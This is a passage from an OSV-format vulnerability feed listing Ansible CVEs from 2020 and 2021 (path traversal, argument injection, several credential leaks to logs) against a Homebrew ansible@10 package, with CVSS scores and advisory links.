range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1737"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67795"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67799"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/1de638b4d38d6d916588e2ad48d01f90dab8c36d"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/aaf549d7870b8687209a3282841b59207735b676"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/b60aa26e2313a8d52c0e0d3fd01696e797605b72"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1737"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-893h-35v4-mxqx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-9.yaml"},{"type":"PACKAGE","url":"https://github.com/samdoran/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1738","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-f85h-23mf-2fwh","CVE-2020-1738","PYSEC-2020-10"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Argument Injection in Ansible","details":"A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1738"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67796"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67808"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1738"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f85h-23mf-2fwh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-10.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1739","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-923p-fr2c-g5m2","CVE-2020-1739","PYSEC-2020-11"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1739"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67797"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68911"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68912"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68913"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1a89d4f059c21a818306a39ada7f5284ae125237"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6c74a298702c8bb5532b9600073312e08f39680f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c6c4fbf4a1fdea1e10ba94462a60c413990a16a4"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-11.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-923p-fr2c-g5m2"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1739"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1740","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-vcg8-98q8-g7mj","CVE-2020-1740","PYSEC-2020-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1740"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67798"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/28f9fbdb5e281976e33f443193047068afb97a9b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2a563514f070a0a8ba64aebf6bce21194be96c73"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/685a4b6d3ff72186d2b4ffce73172a5446a71ccc"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ef32a5bf96a89107986375516285253c1380d7ef"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1740"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vcg8-98q8-g7mj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-12.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1746","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-j2h6-73x8-22c4","CVE-2020-1746","PYSEC-2020-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the `bind_pw` in the parameters field. The highest threat from this vulnerability is data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1746"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67866"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d41e38435b1a9e300d8011ac28f16a5add2db119"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e6199d768c1c18a4e750ec78d4ded088629baa3f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edd1e1723cc937ec9251adf38c1199a00b0bf6d4"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1746"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j2h6-73x8-22c4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-13.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-1753","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-86hp-cj9j-33vv","CVE-2020-1753","PYSEC-2020-210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File, Invocation of Process Using Visible Sensitive Information, and \tExposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1753"},{"type":"WEB","url":"https://github.com/ansible-collections/kubernetes/pull/51"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68195"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04ba05e003b268b83df6c106ba5c0f08548b1380"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/137caed836ef096945086cfe75dc11587b68db3a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/273d8538dbe5a7b5c9954f1929d3bb00904c43f6"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1753"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-86hp-cj9j-33vv"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/kubernetes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-210.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-25635","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-f556-49jc-4rvc","CVE-2020-25635","PYSEC-2020-220"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Ansible does not collect garbage after playbook run","details":"A flaw was found in Ansible Base when using the aws_ssm connection plugin as its garbage collector is not happening after the playbook run is completed. Files would remain in the bucket exposing the data. This issue directly affects data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-25635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/issues/222"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/pull/237#issuecomment-1468591094"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-25635"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-220.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2021-20178","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-wv5p-gmmv-wh9v","CVE-2021-20178","PYSEC-2021-106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20178"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/pull/1635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/1d0c5e2ba47724c31a18d7b08b9daf13df8829dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1914774"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wv5p-gmmv-wh9v"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes%2C"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-106.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FUQ2QKAQA5OW2TY3ACZZMFIAJ2EQTG37"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIU7QZUV73U6ZQ65VJWSFBTCALVXLH55"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2021-20180","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-fh5v-5f35-2rv2","CVE-2021-20180","PYSEC-2026-618"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20180"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73242"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73243"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1915808"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.8.19/changelogs/CHANGELOG-v2.8.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.7.18/lib/ansible/modules/source_control"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.8.0a1/lib/ansible/modules/source_control"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2021-20191","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-8f4m-hccc-8qph","CVE-2021-20191","PYSEC-2021-124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20191"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73488"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73489"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cc82d986c40328d4ae81298a9d287c95a6326bb0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d74a1b1d1325af2a24848044cf2858987f5a3ecc"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2021-20191"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1916813"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8f4m-hccc-8qph"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-124.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2021-20228","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-5rrg-rr89-x9mv","CVE-2021-20228","PYSEC-2021-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.6rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Exposes Sensitive Information","details":"A flaw was found in the Ansible Engine prior to 2.10.6rc1, 2.9.18rc1, and 2.8.19rc1, where sensitive info is not masked by default and is not protected by the `no_log` feature when using the sub-option feature of the basic.py module. This flaw allows an attacker to obtain sensitive information. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20228"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73492"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73493"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73494"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/49ebd509df9de1c1fc1bcee00e79a835dd00662c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e41d1f0a3fd6c466192e7e24accd3d1c6501111b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f8ff395d817c3eddc050f809919c15dfb5796120"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1925002"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5rrg-rr89-x9mv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url